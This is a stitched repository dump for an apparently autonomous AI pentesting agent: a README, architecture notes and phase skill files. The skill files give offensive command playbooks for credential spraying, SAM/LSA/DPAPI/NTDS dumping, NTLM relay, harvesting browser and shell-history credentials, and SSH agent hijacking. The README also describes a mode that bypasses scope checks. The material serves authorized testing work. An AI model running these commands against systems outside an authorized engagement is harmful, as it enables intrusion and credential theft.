# Session LLM Runtime Boundaries `../llm.ts` is the opencode session LLM service. It owns opencode concerns: auth, config, model/provider resolution, plugins, permissions, telemetry headers, and runtime selection. It is the only file in this area that should know about the full session request shape. This folder contains adapters behind that service boundary: - `ai-sdk.ts` converts AI SDK `fullStream` parts into `@opencode-ai/llm` `LLMEvent`s. This is the default runtime path. - `native-request.ts` converts opencode's normalized session input into a native `@opencode-ai/llm` `LLMRequest`. It does not execute requests. - `native-runtime.ts` is the opt-in native runtime adapter. It decides whether a selected model is supported, builds the native request, bridges opencode tools into native executable tools, and delegates transport to `LLMClient` / `RequestExecutor`. ## File Structure ```txt src/session/ llm.ts session-owned orchestration and runtime selection llm/ AGENTS.md boundary notes for the adapter layer ai-sdk.ts AI SDK fullStream -> @opencode-ai/llm LLMEvent adapter native-request.ts opencode/AI SDK-shaped input -> @opencode-ai/llm LLMRequest native-runtime.ts native runtime gate, tool bridge, and LLMClient handoff ``` Integration points: - `../llm.ts` imports `LLMClient` from `@opencode-ai/llm/route`; native execution is the only path that calls it directly. - `../llm.ts` imports `LLMAISDK` from `./llm/ai-sdk`; the AI SDK path still calls `streamText(...)` locally, then adapts `result.fullStream` into shared `LLMEvent`s. - `../llm.ts` imports `LLMNativeRuntime` from `./llm/native-runtime`; this is the runtime-selection seam. Unsupported native requests return a reason and fall back to AI SDK. - `native-runtime.ts` imports `LLMNative` from `./native-request`; this keeps request lowering separate from transport and tool execution. - `native-request.ts` is the only adapter file that should construct `LLM.request(...)`, `LLM.model(...)`, `Message.*`, `SystemPart`, `ToolCallPart`, `ToolResultPart`, or `ToolDefinition` values from `@opencode-ai/llm`. - `ai-sdk.ts` and `native-runtime.ts` both emit `@opencode-ai/llm` `LLMEvent`s so downstream session processing does not care which runtime handled the request. Keep new integration code on one of these seams. Avoid importing session services into `native-request.ts`; pass normalized data through `RequestInput` instead. ## Runtime selection Both runtimes converge on the same `LLMEvent` stream consumed by the session processor. The gate is per-request: a single session can route some calls through native and fall back for others. ```txt ╭───────────────────╮ ╭───────────────────────────▶│ session processor │ │ ╰─────────┬─────────╯ │ │ │ │ │ │ │ ▼ │ ╭─────────────────────────╮ │ │ LLM.Service (../llm.ts) │ │ ╰────────────┬────────────╯ │ │ │ │ │ │ │ ▼ │ ╭───────────╮ │ ╭─╯ ╰─╮ │ │ native gate │ │ ╰─╮ ╭─╯ │ ╰─────┬─────╯ │ │ │ ╭────── no ──────┴─────── yes ────────╮ │ │ │ │ ▼ ▼ │ ╭───────────────────────────╮ ╭───────────────────╮ │ │ AI SDK │ │ native-runtime.ts │ │ │ streamText / generateText │ ╰────────┬──────────╯ │ ╰─────────────┬─────────────╯ │ │ │ │ │ ╭───╯ │ │ │ │ │ ▼ ▼ │ ╭───────────────────────╮ ╭────────────────────────────╮ │ │ ai-sdk.ts │ │ native-request.ts │ │ │ fullStream → LLMEvent │ │ session input → LLMRequest │ │ ╰──────────┬────────────╯ ╰──────────────┬─────────────╯ │ │ │ │ │ ╭───╯ │ │ │ │ ▼ ▼ │ ╭─────────────────╮ ╭─────────────────────────────╮ ╰───────┤ LLMEvent stream │◀────────────┤ LLMClient · RequestExecutor │ ╰─────────────────╯ ╰─────────────────────────────╯ ``` `native-runtime.ts` evaluates the gate and either bridges into `@opencode-ai/llm` or returns control so `llm.ts` can take the AI SDK path. Tool execution stays opencode-owned in both branches; only request lowering and transport differ. Safety boundary: - AI SDK remains the default. - `OPENCODE_EXPERIMENTAL_NATIVE_LLM=true` or the umbrella `OPENCODE_EXPERIMENTAL=true` opts in. Native is not a global replacement. - Native execution currently supports OpenAI, opencode-managed OpenAI-compatible, and Anthropic API-key paths backed by `@ai-sdk/openai`, `@ai-sdk/openai-compatible`, or `@ai-sdk/anthropic` catalog entries. - Unsupported providers, OpenAI OAuth, and missing API-key cases fall back to AI SDK. - packages/schema/AGENTS.md (6430 bytes)
# Schema Package Guide `@opencode-ai/schema` owns browser-safe wire and storage contracts shared by protocol, server, core, and generated SDKs. Keep runtime behavior, service layers, side effects, and host-local implementation details in the domain package that owns them. ## Package Boundary - Preserve the dependency direction: `@opencode-ai/schema <- @opencode-ai/protocol <- @opencode-ai/server`. - Schema values should be serializable contract definitions, not service implementations or runtime registries. - A domain may keep a minimal public wire contract here when SDK generation needs it, but do not move the broader runtime model into Schema just because an event is public. `plugin.added` is the current example: Schema may own the minimum browser-safe event payload, while plugin runtime behavior stays outside Schema. - The root barrel exports canonical current domain contracts. Specialized event modules, manifests, infrastructure modules, and V1 contracts use direct entrypoints instead of becoming first-class root exports. ## Current Versus V1 - Current contracts are unversioned: use names like `Session`, `Permission`, `Question`, and identifiers like `Permission.Request`. - Legacy contracts retained for active compatibility, persistence, or migration are explicitly `V1`: use names like `SessionV1`, `PermissionV1`, and identifiers like `PermissionV1.Request`. - Do not preserve `V2` as the permanent name for the replacement architecture. Remove `V2` from current namespaces, brands, and identifiers as the contracts are normalized. - Retained V1 contracts should live under a dedicated `src/v1/` subtree once the V1 isolation PR runs. New/current code must not depend on that subtree. - V1 coexistence is temporary. Keep compatibility entrypoints only where migration requires them, and delete the V1 subtree when the legacy runtime is retired. - `@opencode-ai/protocol` and `@opencode-ai/sdk-next` are current `/api/...` surfaces. ## Events - Classify event definitions by protocol role before adding them to a public manifest: `current`, `shared transitional`, or `V1-only`. - Being emitted by V1 is not enough to include an event in Protocol or SDK Next. - Keep clearly V1-only events, such as `message.updated` and `message.part.*`, out of the current Protocol/SDK Next event surface unless a current-client requirement is documented. - Keep compatibility events available only to the existing App/TUI/CLI compatibility surface while they are still needed. - Preserve a single canonical event definition. Do not duplicate definitions for generation convenience. ## Module Shape - Use one canonical exported value for each contract. Avoid bridge aliases such as `PluginID`, `PluginEvent`, `PtyInfo`, `PtyEvent`, and `SessionTodoInfo`. - Prefer importing the schema module namespace and reading canonical members, for example `Plugin.ID` or `SessionTodo.Info`. - Core may compose Schema contracts with runtime behavior into a deliberate domain facade, but the facade must re-export the exact canonical Schema value. Do not create a second schema identity. - Use flat top-level exports plus the package's existing namespace projection pattern, for example `export * as SessionMessage from "./session-message"`. - Keep standalone ID modules only when they prevent real cycles or heavy dependency edges. Inline one-off IDs into their owning contract module when no cycle exists. ## Naming - Exported schema values and namespace objects use `PascalCase`. - Schema-building functions and combinators use `camelCase`. - The package's static-method combinator is `statics(...)`. - Keep descriptive schema value names such as `PositiveInt`, `NonNegativeInt`, `AbsolutePath`, `RelativePath`, and `DateTimeUtcFromMillis`. ## Optional Fields And Defaults - Use the package `optional(...)` helper for optional object properties, including nested structs and event payloads, so encoded objects omit `undefined` keys. - Use raw `Schema.optional(...)` only when preserving `undefined` as an explicitly encoded property is intentional and documented. - External convenience defaults are normally decode-only with `Schema.withDecodingDefault(...)`. - Add constructor defaults only when the domain value itself requires construction-time normalization. ## Public Types - Public `Schema.Struct` records use same-name interfaces: ```ts export interface Info extends Schema.Schema.Type<typeof Info> {} export const Info = Schema.Struct({ ... }) ``` - Use type aliases for unions, scalars, arrays, branded scalar types, and event payload helper types. - Closed documented string sets use `Schema.Literals(...)`. If arbitrary strings are valid, document the field as arbitrary rather than listing a closed set. ## Mutability - Public Schema contracts are readonly by default. - Do not use `Schema.mutable(...)` in public contracts for runtime convenience. - Runtime code that needs mutation should opt in at the boundary with `Types.DeepMutable`, a purpose-built draft type, or another explicit mutable API. ## Unknown Values - Current public contracts avoid `Schema.Any`. - Use `Schema.Json` for values that must be JSON-serializable. - Use `Schema.Unknown` for genuinely opaque values that require consumer-side narrowing. - Keep `Schema.Any` only at an explicitly unsafe compatibility boundary with a documented reason. ## IDs And Identifiers - Current ID constructors expose `create()`. - Directional constructors such as `ascending()` or `descending()` remain only where ordering semantics are part of the public contract or compatibility requires the old method. - New generated ID schemas must validate exactly the prefix they emit, including the underscore. - Do not tighten legacy loose ID validators without an explicit compatibility and migration decision; existing callers and tests may rely on accepted non-canonical IDs. - Reusable exported public schemas get stable, domain-qualified identifiers such as `Model.Ref` or `Agent.Color`. - Public schema identifiers and brands must be unique and stable. Private one-use nested schemas may remain anonymous. ## Tests For Contract Changes - Add focused tests when changing contract behavior or generated surface. - Cover optional properties omitting `undefined`, no accidental current-contract `Schema.Any`, stable and unique public identifiers, exact facade/schema identity, and current Protocol manifests excluding V1-only events. - README.md (11238 bytes)
# PentestCode <p align="center"> <img src="https://github.com/s0ld13rr/pentestcode/raw/main/.github/logo.png" alt="PentestCode" width="480" /> </p> <p align="center"> <strong>AI penetration testing agent in your terminal.</strong><br> Multi-agent architecture • Engagement state tracking • 20+ LLM providers </p> <p align="center"> <a href="https://github.com/s0ld13rr/pentestcode/releases/latest"><img src="https://img.shields.io/github/v/release/s0ld13rr/pentestcode?style=flat-square&color=red" alt="Release"></a> <a href="https://github.com/s0ld13rr/pentestcode/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue?style=flat-square" alt="License"></a> <a href="https://github.com/s0ld13rr/pentestcode"><img src="https://img.shields.io/github/stars/s0ld13rr/pentestcode?style=flat-square" alt="Stars"></a> </p> --- **PentestCode is an autonomous pentesting agent for your terminal.** Point it at a target and it runs the tools, reads the output, updates its picture of the network, and decides what to do next — the way an operator would. A hard fork of [OpenCode](https://github.com/anomalyco/opencode) (MIT), stripped of the code-editing focus and rebuilt for offensive security. > **Beta** — it holds up on real engagements and CTFs, but expect rough edges. [File an issue](https://github.com/s0ld13rr/pentestcode/issues) when something breaks; that's what makes it better. ## What it does One instruction in, a full attack chain out: ``` you: "pentest 10.10.10.5, goal is domain admin" ``` | Stage | What the agent does | |-------|---------------------| | **Scan** | `nmap -sS -p-` finds 7 open ports and parses the XML straight into engagement state | | **Recognize** | Ports 88 + 389 → Domain Controller. Fans out three enumerators in parallel (SMB, LDAP, HTTP) | | **Enumerate** | Null SMB session → writable share. LDAP → user list. Gobuster → web dirs | | **Attack** | AS-REP roast → crackable hash → first valid credential | | **Spray** | That credential sprayed across SMB, WinRM, LDAP and RDP on every known host | | **Exploit** | WinRM foothold → post-exploit agent dumps SAM / LSA / DPAPI | | **Result** | Domain admin hash in hand — every step recorded with its evidence chain | It's methodical where people get lazy: it sprays every credential against every service on every host, and it doesn't forget to check things. Everything it learns lands in a structured state you can query mid-run with `/status`, `/vulns`, or `/creds`. ## Install ```bash npm install -g pentestcode-ai # via curl curl -fsSL https://raw.githubusercontent.com/s0ld13rr/pentestcode/main/install.sh | bash ``` A single self-contained binary — no Bun, Node, or runtime to install. Linux and macOS, x64 and arm64. **Arch Linux (AUR):** ```bash paru -S pentestcode-bin ``` <details> <summary>Other options</summary> **Pin version:** ```bash PENTESTCODE_VERSION=0.1.7 curl -fsSL https://raw.githubusercontent.com/s0ld13rr/pentestcode/main/install.sh | bash ``` **Custom directory:** ```bash PENTESTCODE_INSTALL=/usr/local/bin curl -fsSL https://raw.githubusercontent.com/s0ld13rr/pentestcode/main/install.sh | bash ``` **From source:** ```bash bun install bun run build --single --skip-embed-web-ui # binary at packages/opencode/dist/pentestcode-<os>-<arch>/bin/pentestcode ``` </details> ## Quick start ```bash pentestcode auth login # connect your LLM provider pentestcode # interactive session pentestcode --prompt "scan 10.10.10.0/24 and enumerate all services" # one-shot ``` Works with 20+ providers through [ai-sdk](https://github.com/vercel/ai) — Anthropic, OpenAI, Google, Azure, AWS Bedrock, Ollama, and more. ## How it works Two things separate PentestCode from a pentester prompt pasted into a chat window: **a team of agents** and **a memory they share**. ### A team, not a monologue The design follows the strategist-coordinator model from [HPTSA research](https://arxiv.org/abs/2410.02246) — a 4.3× improvement over a single agent: ``` ┌─────────────┐ │ pentest │ strategist / coordinator │ (lead) │ plans, dispatches, tracks state └──────┬──────┘ ┌───────┬───────┼───────┬───────┐ ▼ ▼ ▼ ▼ ▼ ┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐ │recon ││scan- ││explo-││iden- ││post- │ │ ││ner ││iter ││tity ││explo │ ... + 7 more └──────┘└──────┘└──────┘└──────┘└──────┘ ``` The lead agent (`pentest`) breaks the engagement into tasks and dispatches specialist subagents in parallel — each with its own system prompt, tool permissions, and domain knowledge. **13 agents in all:** recon, scanner, enumerator, exploiter, identity (AD/Kerberos), infrastructure (SNMP/IPMI/databases), webapp (OWASP Top 10), post-exploit, exploit-dev, critic (false-positive checker), reporter, plus hidden agents for context compression and session management. ### A memory they all share When the scanner finds a port, the enumerator sees it instantly — because every agent reads from and writes to one structured **engagement state**: - **Hosts & services** — IP, hostname, OS, ports, service versions, banners - **Vulnerabilities** — severity, status (suspected / confirmed / exploited), evidence chain, confidence score - **Credentials** — username, hash/password, type, domain, what they unlock - **Access** — who holds shell/RDP/DB on which host, at what privilege level - **Relationships** — an entity graph (EXPLOITED_VIA, CREDENTIAL_FROM, ADMIN_OF, PIVOT_TO, …) - **AD domain model** — domain controllers, trusts, admins, password policy, GPOs - **Network segments** — VLANs, reachable networks, pivot hosts - **Attack paths** — cost-based Dijkstra + Yen's K-shortest routes through the relationship graph State survives the session: close the terminal, come back tomorrow, and the agent resumes where it stopped. Alongside it, a human-readable `findings.md` logs every vulnerability, credential, and access gain with timestamps — `tail -f` it to watch the engagement unfold. ## Tools 18 built-in pentest tools beyond bash. Parser tools are mandatory: after running nmap the agent must pipe the output through `nmap_parse` rather than grep the XML by hand, so every finding reaches the engagement state. | Tool | What it does | |------|-------------| | `nmap_parse` | Parse nmap XML → auto-populate hosts/services | | `nuclei_parse` | Parse Nuclei JSON → create vulns with severity | | `cme_parse` | Parse NetExec output → update creds/access/hosts | | `gobuster_parse` | Parse dir brute output → classify findings | | `bloodhound_parse` | Parse SharpHound JSON → populate AD model | | `sqlmap_parse` | Parse sqlmap output → extract injection points | | `xss_detect` | Analyze responses for reflected/stored XSS | | `jwt_analyze` | Decode JWT, check alg:none/weak HMAC/expiry | | `cred_spray` | Plan credential spray across all discovered services | | `scope_check` | CIDR/wildcard scope validation | | `attack_path_suggest` | Cost-based path finding through the relationship graph | | `tunnel_manage` | Plan SSH/chisel/ligolo tunnels, track live sessions | | `phase_control` | Phase management with quality gates | | `report_gen` | Generate markdown/JSON pentest reports | | `state_update` | Record findings (30+ mutation types, batch mode) | | `state_query` | Query engagement state (20+ query types) | ## Skills 19 curated knowledge packs, loaded on demand so they cost context only when relevant: - **Phase checklists** (6) — what to do in each pentest phase - **Service knowledge** (9) — SMB, SSH, FTP, DNS, databases, web servers, mail, Docker/K8s, CI/CD - **Playbooks** (4) — infrastructure, Active Directory, web application, cloud Skills are plain markdown. Add your own by dropping a `SKILL.md` into the skills directory — no code changes needed. ## Commands & modes Drive a live session with slash commands: | Command | What it does | |---------|-------------| | `/status` | Engagement dashboard — hosts, vulns, creds, phase | | `/targets` | Host & service table | | `/vulns` | Findings by severity | | `/creds` | Discovered credentials | | `/scope` | View/edit target scope | | `/phase` | Phase management | | `/mode` | Switch auto / free / guided | | `/pause` | Pause on findings (never / always / checkpoint) | | `/report` | Generate a pentest report | And set how much rope the agent gets: - **auto** — runs through the pentest phases autonomously, spawning subagents as needed - **free** — no phase structure; responds to your requests directly (bypasses scope checks) - **guided** — step by step; proposes each action and waits for approval Modes combine with pause behavior — `auto` + `pause always` gives you autonomous execution that stops at every finding for review. ## Use cases One toolkit across offensive security: - **Penetration testing** — full methodology from recon to reporting - **CTF competitions** — flag tracking, objective management, multi-target coordination - **Bug bounty** — web app testing, API security, recon automation - **Vulnerability research** — systematic enumeration and validation - **Infrastructure security** — network service auditing, default-credential checks ## Configuration Config lives at `.pentestcode/pentestcode.jsonc`: ```jsonc { "provider": { "anthropic": { "model": "claude-sonnet-4-20250514" } } } ``` Providers: Anthropic, OpenAI, Google, Azure, AWS Bedrock, Ollama, Together, Groq, Fireworks, DeepSeek, Mistral, and more via [ai-sdk](https://github.com/vercel/ai). ## Contributing Bug reports from real usage are the most valuable thing you can send. Run PentestCode on a CTF box, an HTB machine, or an authorized pentest, and when something goes wrong — it loops, misses an obvious path, chokes on tool output, or wastes tokens — open an issue with: 1. What you were testing (target type, not sensitive details) 2. What went wrong 3. The `findings.md` and/or relevant session output Feature requests and PRs are welcome too. The codebase is TypeScript on the Effect library — see [CLAUDE.md](CLAUDE.md) for architecture. ## Disclaimer This tool is provided for **authorized security testing, education, and research purposes only**. The author assumes no responsibility for any unauthorized or illegal use of this software. Users are solely responsible for ensuring they have proper authorization before testing any systems. Misuse of this tool may violate applicable laws and regulations. ## License MIT — see [LICENSE](LICENSE). --- <p align="center"> Hard fork of <a href="https://github.com/anomalyco/opencode">OpenCode</a> • Built for offensive security • Self-hosted & open source </p> - SKILL.md (2658 bytes)
--- name: enumeration-phase tags: [enumeration] description: Scanning and enumeration — port/service scan, version detection, web content discovery, tech stack fingerprint. Use when the current phase is ENUMERATION. --- # Scanning & Enumeration Goal: every host in scope fully mapped — ports, versions, banners, hidden surfaces. Feed results into engagement state (`state_update`), not just terminal scrollback. ## Port scan — tunable speed vs coverage ``` # Fast baseline, all ports, no discovery (live hosts known) masscan -p1-65535 --rate 1000 -oJ masscan.json TARGET # Full service detection on discovered ports nmap -sS -sV -sC -p- -oA nmap/full TARGET # slow but thorough nmap -sS -sV -p <ports> --open -oA nmap/svc TARGET # after masscan ``` - Never run default-rate `-p-` against fragile/OT targets — negotiate rate in RoE. - `-Pn` when ICMP is filtered; combine `-sn` on the whole CIDR first to find live hosts cheaply. - UDP top-100 minimum: `nmap -sU --top-ports 100 -sV -O` — SNMP/DNS/mDNS/NTP/LDAP often missed. ## Service enrichment - **NSE**: `--script vuln,default` for triage; dangerous scripts (`brute`, `dos`, `exploit`) ONLY with explicit authorization. - **SMB**: `nxc smb HOST` (shares, signing, OS, null session) → often instant finding (signing disabled = relay). - **SNMP**: `snmpwalk -v2c -c public HOST .1.3.6.1.2.1` → network layout, VLANs, VPN peers. - **TLS**: `testssl.sh HOST` — old TLS, weak ciphers, expired/expiring certs, heartbleed. ## Web surface discovery ``` # Content + vhosts + params ffuf -u https://t/FUZZ -w raft-medium-directories -mc 200,204,301,302,401,403 ffuf -u https://t/ -H "Host: FUZZ.t" -w subdomains.txt # vhost fuzzing arjun -u https://t/page # hidden params ``` - Status-code triage: 401/403 → bypass tests (`X-Original-URL`, method override); 301 to login = app surface. - Mirror interesting dirs with `wget --mirror` or `katana` (crawl + JS link extraction) — JS files hold API routes and often tokens. - API discovery: `/swagger`, `/openapi.json`, `/graphql`, `/.well-known/`, `/api/v{1..10}/`. ## Tech stack `whatweb -v URL` / `httpx -td` → CMS-specific scans (wpscan), framework CVE lookup, then version-match against Nuclei templates. ## Gotchas - Scan results without version detail are wasted — always `-sV`. A raw open port is not a finding. - Load `nuclei` DURING this phase, not later: framework RCEs (Log4j, Spring4Shell, CVE-2021-*) don't show up in dir-fuzz. - Deduplicate into engagement state via `nmap_parse` / `nuclei_parse` tools — the exploit phase queries `state_query`, it does not re-scan. - skills/phases/enumeration/SKILL.md (2658 bytes)
--- name: enumeration-phase tags: [enumeration] description: Scanning and enumeration — port/service scan, version detection, web content discovery, tech stack fingerprint. Use when the current phase is ENUMERATION. --- # Scanning & Enumeration Goal: every host in scope fully mapped — ports, versions, banners, hidden surfaces. Feed results into engagement state (`state_update`), not just terminal scrollback. ## Port scan — tunable speed vs coverage ``` # Fast baseline, all ports, no discovery (live hosts known) masscan -p1-65535 --rate 1000 -oJ masscan.json TARGET # Full service detection on discovered ports nmap -sS -sV -sC -p- -oA nmap/full TARGET # slow but thorough nmap -sS -sV -p <ports> --open -oA nmap/svc TARGET # after masscan ``` - Never run default-rate `-p-` against fragile/OT targets — negotiate rate in RoE. - `-Pn` when ICMP is filtered; combine `-sn` on the whole CIDR first to find live hosts cheaply. - UDP top-100 minimum: `nmap -sU --top-ports 100 -sV -O` — SNMP/DNS/mDNS/NTP/LDAP often missed. ## Service enrichment - **NSE**: `--script vuln,default` for triage; dangerous scripts (`brute`, `dos`, `exploit`) ONLY with explicit authorization. - **SMB**: `nxc smb HOST` (shares, signing, OS, null session) → often instant finding (signing disabled = relay). - **SNMP**: `snmpwalk -v2c -c public HOST .1.3.6.1.2.1` → network layout, VLANs, VPN peers. - **TLS**: `testssl.sh HOST` — old TLS, weak ciphers, expired/expiring certs, heartbleed. ## Web surface discovery ``` # Content + vhosts + params ffuf -u https://t/FUZZ -w raft-medium-directories -mc 200,204,301,302,401,403 ffuf -u https://t/ -H "Host: FUZZ.t" -w subdomains.txt # vhost fuzzing arjun -u https://t/page # hidden params ``` - Status-code triage: 401/403 → bypass tests (`X-Original-URL`, method override); 301 to login = app surface. - Mirror interesting dirs with `wget --mirror` or `katana` (crawl + JS link extraction) — JS files hold API routes and often tokens. - API discovery: `/swagger`, `/openapi.json`, `/graphql`, `/.well-known/`, `/api/v{1..10}/`. ## Tech stack `whatweb -v URL` / `httpx -td` → CMS-specific scans (wpscan), framework CVE lookup, then version-match against Nuclei templates. ## Gotchas - Scan results without version detail are wasted — always `-sV`. A raw open port is not a finding. - Load `nuclei` DURING this phase, not later: framework RCEs (Log4j, Spring4Shell, CVE-2021-*) don't show up in dir-fuzz. - Deduplicate into engagement state via `nmap_parse` / `nuclei_parse` tools — the exploit phase queries `state_query`, it does not re-scan. - skills/phases/exploitation/SKILL.md (2753 bytes)
--- name: exploitation-phase tags: [exploitation] description: Exploitation phase — prove impact safely. Router to web-* skills plus network, credential and wireless exploitation. Use when the current phase is EXPLOITATION. --- # Exploitation — Prove Impact, Don't Break Things Golden rule: the goal is a DEMONSTRATED impact for the report, not maximum damage. Prefer the least destructive proof (file read > RCE > data exfil). ## Web → load the matching `web-*` skill SQLi (`web-sqli`), SSTI (`web-ssti`), SSRF (`web-ssrf`), LFI (`web-lfi-traversal`), upload RCE (`web-upload-rce`), XXE (`web-xxe`), auth bypass/IDOR (`web-auth-bypass-idor`), deserialization (`web-deserialization`). Router + payload index: `playbook-webapp`. - `sqlmap --batch --level 3 --risk 2` only after a manual injection point is confirmed. - Public PoC for a known CVE: fetch, READ IT, adapt to the exact version — never blind-run exploit binaries. ## Network - **Capture**: `tcpdump -i eth0 -w cap.pcap 'host X'` / Wireshark — creds in cleartext protocols (FTP, HTTP basic, SNMP) are findings on their own. - **MITM/relay**: ARP spoofing only on flat L2 segments with authorization; NTLM relay requires SMB signing disabled (checked in enumeration). - Responder + ntlmrelayx are the standard authorized chain: LLMNR/NBT-NS poison → relay to SMB/ADCS/LDAP. - Impacket suite covers the rest: `GetNPUsers.py` (AS-REP), `GetUserSPNs.py` (kerberoast), `secretsdump.py`, `psexec.py`/`wmiexec.py` (lateral). ## Credential attacks — lockout-aware ALWAYS ``` # Spray: ONE password across MANY users, never the reverse nxc smb DC -u users.txt -p 'Summer2024!' --continue-on-success hydra -L users.txt -p 'CommonPass1!' target https-post-form '/login:user=^PASS^:F=invalid' ``` - Respect lockout policy (enumerate it via `netexec ... --pass-pol` first). A locked-out user base = failed test. - Cracking offline: `hashcat -m 1000` (NTLM), `-m 18200` (AS-REP), `-m 13100` (TGS), `-m 22000` (WPA). John as fallback. Rockyou + rules; custom wordlist from client context (org name, products, local slang). ## Wireless - Monitor-mode capture → `aircrack-ng -w rockyou cap.cap` (WPA2 handshake) or PMKID (`hcxdumptool`). - Evil twin / deauth = disruptive; ONLY with written authorization, never on client production SSIDs during business hours. ## Exploitation hygiene - Verify scope (`scope_check`) before launching any exploit — payload callbacks to out-of-scope infra are a RoE breach. - One shell per host is enough; unstable public PoCs → prefer manual exploitation for reliability. - Log the exact command + timestamp as evidence at success time. - If a chain caused unexpected impact (crash, data corruption): STOP, note it, disclose in report. Never hide it.
- skills/phases/post-exploit/SKILL.md (1921 bytes)
--- name: post-exploit-phase tags: [post_exploit] description: Post-exploitation gotchas — credential dump order, DPAPI trap, host exhaustion checklist. Use when the current phase is POST_EXPLOIT. --- # Post-Exploitation — What You'll Get Wrong ## Credential dump ORDER matters (Windows) Run ALL three, in this order — each extracts different secrets: 1. `--sam` — local account hashes 2. `--lsa` — service passwords, cached domain creds, DPAPI system keys 3. `--dpapi` — browser passwords, vault, cookies, Credential Manager On Domain Controllers add `--ntds` for all domain hashes. Fallback: `secretsdump.py DOMAIN/USER:PASS@HOST` (SAM+LSA+NTDS in one shot). ## DPAPI trap `netexec smb HOST -u USER -p PASS --dpapi` with NO subcommands = full dump. Adding subcommands (`cookies`, `nosystem`, `wifi`) LIMITS output. Always bare `--dpapi` first. ## Host Exhaustion — do NOT skip any host Before a host is "done", ALL of these must be attempted: - Privesc check (sudo -l / whoami /priv / SUID / kernel version) - Credentials dumped (SAM+LSA+DPAPI on Windows, shadow/keys/history/configs on Linux) - Found creds sprayed across ALL known hosts+services - Network config enumerated (arp, routes, internal DNS) — may reveal hidden subnets - Internal services discovered (ss -tlnp / netstat) — ports not visible externally - Stored creds checked (autologon, cmdkey, env vars, browser profiles) ## Linux credential locations you'll miss - `/home/*/.bash_history` — often contains passwords in commands - App configs: `.env`, `*.conf`, `*.cfg`, `*.ini` — DB passwords, API keys - SSH keys: `~/.ssh/` (private keys AND `authorized_keys` for persistence) - Browser profiles: `~/.mozilla/firefox/*/logins.json`, `~/.config/google-chrome/*/Login Data` ## SSH agent forwarding hijack If another user has agent forwarding enabled: `find /tmp -name "agent.*"` → `SSH_AUTH_SOCK=/tmp/agent.XXXX ssh target`
- skills/phases/recon/SKILL.md (2561 bytes)
--- name: recon-phase tags: [recon] description: Reconnaissance phase — passive OSINT then active enumeration. Use when the current phase is RECON. Triggers - OSINT, subdomain, whois, certificate transparency, shodan, google dork, footprint. --- # Reconnaissance — Passive FIRST, then Active Rule: exhaust PASSIVE before touching the target. Passive leaves no logs on target infra; active does. ## Passive - **DNS/subdomains**: `subfinder -d target.com -silent`, `amass enum -passive -d target.com`, `assetfinder --subs-only target.com` - **Cert transparency**: `curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u` — often finds forgotten subdomains + internal hostnames in CN fields - **WHOIS/RDAP**: registrar, name servers, historical contacts (who.is, rdap.org) - **Net blocks**: `whois -h whois.radb.net -- '-i origin ASXXXX'` → prefix list, then validate with `asnmap` - **Shodan/Censys**: exposed services, banners, SSL certs (Shodan cert search pivots to sibling hosts on same org), leaked `.env`/`.git` indexes - **Google dorks**: `site:target.com filetype:xlsx`, `site:target.com inurl:admin`, `intitle:"index of" site:target.com`, `site:target.com ext:env | ext:sql | ext:bak` - **Code leaks**: GitHub/GitLab search `org:target`, `target.com password`, secret scanning (trufflehog/gitleaks on found repos) - **Social**: LinkedIn (org chart, tech stack, employees for phishing/spray), job ads (tech in use), Wayback Machine for dead endpoints still live internally ## Active (in-scope domains/IPs ONLY) - **DNS brute + zone transfer**: `dig axfr target.com @NS`, `gobuster dns -d target.com -w wordlist` - **Fingerprint**: `httpx -l subs.txt -status-code -title -tech-detect -favicon-hash` — favicon hash pivots to `Shodan http.favicon.hash:<mmh3>` - **ASN/IP expansion**: resolve all found hosts → new IPs → re-check every IP against scope with `scope_check` - **WAF detect**: `wafw00f https://target.com` — affects scan tuning later ## Gotchas - Subdomain takeover check immediately: dangling CNAME (npm/github/azure/s3) → `subjack`/`nuclei -t takeovers/`. It's recon AND a finding. - A cert in CT logs is NOT proof the host is in scope. Validate + `scope_check` before any active probe. - Record everything into the engagement state (`state_update`): hosts, domains, org relationships. Later phases consume this — a host found in recon but never scanned is the classic miss. - Diff CT logs against live DNS: dead names may still resolve on INTERNAL resolvers (VPN/recon from inside).
- skills/phases/reporting/SKILL.md (2235 bytes)
--- name: reporting-phase tags: [reporting] description: Reporting phase — generate structured pentest report from findings. Use when the current phase is REPORTING. --- # Report Generation Guide ## Finding Format Each finding should include: ``` ### [SEVERITY] Finding Title - **Target**: IP:port or URL - **CVSS/Severity**: Critical/High/Medium/Low/Info - **CVE**: CVE-XXXX-XXXXX (if applicable) - **ATT&CK**: TXXXX (technique ID) - **Status**: Confirmed / Exploited **Description**: What the vulnerability is and why it matters. **Evidence**: Command run + output proving the vulnerability. **Impact**: What an attacker can achieve by exploiting this. **Remediation**: Specific steps to fix the issue. ``` ## Report Structure ### Executive Summary - Engagement scope and dates - Overall risk rating (Critical/High/Medium/Low) - Key findings count by severity - Top 3 most critical issues - Strategic recommendations (2-3 sentences) ### Methodology - Phases performed - Tools used - Scope boundaries ### Findings (grouped by severity) 1. Critical findings 2. High findings 3. Medium findings 4. Low findings 5. Informational ### Attack Path Narrative Step-by-step description of successful attack chains: - Initial access vector - Privilege escalation path - Lateral movement - Data accessed ### Host Summary Table | Host | OS | Services | Vulns | Access | |------|----|----------|-------|--------| ### Recommendations Prioritized remediation list: 1. Immediate (Critical/High) — fix within 48h 2. Short-term (Medium) — fix within 30 days 3. Long-term (Low/Info) — fix within 90 days ## Severity Classification - **Critical (CVSS 9.0-10.0)**: RCE, auth bypass, default creds on critical systems, full DB dump - **High (CVSS 7.0-8.9)**: Arbitrary file read/write, privesc, SSRF to internal, stored XSS on admin - **Medium (CVSS 4.0-6.9)**: Reflected XSS, sensitive info disclosure, missing security headers with impact - **Low (CVSS 0.1-3.9)**: Version disclosure, minor info leaks, missing non-critical headers - **Info (CVSS 0.0)**: Open ports, technology detection, informational findings ## Output Formats Use the `report_gen` tool to generate: - Markdown report (default) - JSON export (machine-readable)
- skills/phases/vuln-assess/SKILL.md (2160 bytes)
